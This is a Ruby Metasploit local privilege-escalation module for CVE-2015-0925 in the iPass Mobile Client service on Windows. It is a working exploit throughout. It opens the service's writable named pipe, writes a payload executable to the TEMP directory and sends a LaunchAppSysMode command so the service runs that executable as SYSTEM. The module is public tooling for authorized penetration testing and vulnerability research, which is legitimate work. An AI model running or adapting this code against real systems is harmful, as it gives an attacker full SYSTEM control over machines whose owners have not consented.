## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Exploit::FileDropper include Msf::Post::Windows::Priv include Msf::Post::Windows::Services def initialize(info = {}) super( update_info( info, { 'Name' => 'iPass Mobile Client Service Privilege Escalation', 'Description' => %q{ The named pipe, \IPEFSYSPCPIPE, can be accessed by normal users to interact with the iPass service. The service provides a LaunchAppSysMode command which allows to execute arbitrary commands as SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => [ 'h0ng10' # Vulnerability discovery, metasploit module ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows', {} ] ], 'Payload' => { 'Space' => 2048, 'DisableNops' => true }, 'References' => [ ['CVE', '2015-0925'], ['URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-03.txt'] ], 'DisclosureDate' => '2015-03-12', 'DefaultTarget' => 0, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_railgun_api stdapi_sys_config_getenv ] } } } ) ) register_options([ OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)']) ]) end def check unless session.platform == 'windows' return Exploit::CheckCode::Safe end svc = service_info('iPlatformService') if svc && svc[:display] =~ /iPlatformService/ vprint_good("Found service '#{svc[:display]}'") if is_running? vprint_good('Service is running') else vprint_error('Service is not running!') end vprint_good('Opening named pipe...') handle = open_named_pipe('\\\\.\\pipe\\IPEFSYSPCPIPE') if handle.nil? vprint_error('\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found') return Exploit::CheckCode::Safe else vprint_good('\\\\.\\pipe\\IPEFSYSPCPIPE found!') session.railgun.kernel32.CloseHandle(handle) end return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def open_named_pipe(pipe) invalid_handle_value = 0xFFFFFFFF r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0) handle = r['return'] return nil if handle == invalid_handle_value handle end def write_named_pipe(handle, command) buffer = Rex::Text.to_unicode(command) w = client.railgun.kernel32.WriteFile(handle, buffer, buffer.length, 4, nil) if w['return'] == false print_error('The was an error writing to pipe, check permissions') return false end true end def is_running? begin status = service_status('iPlatformService') rescue RuntimeError print_error('Unable to retrieve service status') return false end return status && status[:state] == 4 end def exploit if is_system? fail_with(Failure::NoTarget, 'Session is already elevated') end handle = open_named_pipe('\\\\.\\pipe\\IPEFSYSPCPIPE') if handle.nil? fail_with(Failure::NoTarget, '\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found') else print_status('Opended \\\\.\\pipe\\IPEFSYSPCPIPE! Proceeding...') end if datastore['WritableDir'] && !datastore['WritableDir'].empty? temp_dir = datastore['WritableDir'] else temp_dir = client.sys.config.getenv('TEMP') end print_status("Using #{temp_dir} to drop malicious exe") begin cd(temp_dir) rescue Rex::Post::Meterpreter::RequestError session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory") end print_status('Writing malicious exe to remote filesystem') write_path = pwd exe_name = "#{rand_text_alpha(rand(10..19))}.exe" begin write_file(exe_name, generate_payload_exe) register_file_for_cleanup("#{write_path}\\#{exe_name}") rescue Rex::Post::Meterpreter::RequestError session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}") end print_status('Sending LauchAppSysMode command') begin write_res = write_named_pipe(handle, "iPass.EventsAction.LaunchAppSysMode #{write_path}\\#{exe_name};;;") rescue Rex::Post::Meterpreter::RequestError session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Unknown, 'Failed to write to pipe') end unless write_res fail_with(Failure::Unknown, 'Failed to write to pipe') end end end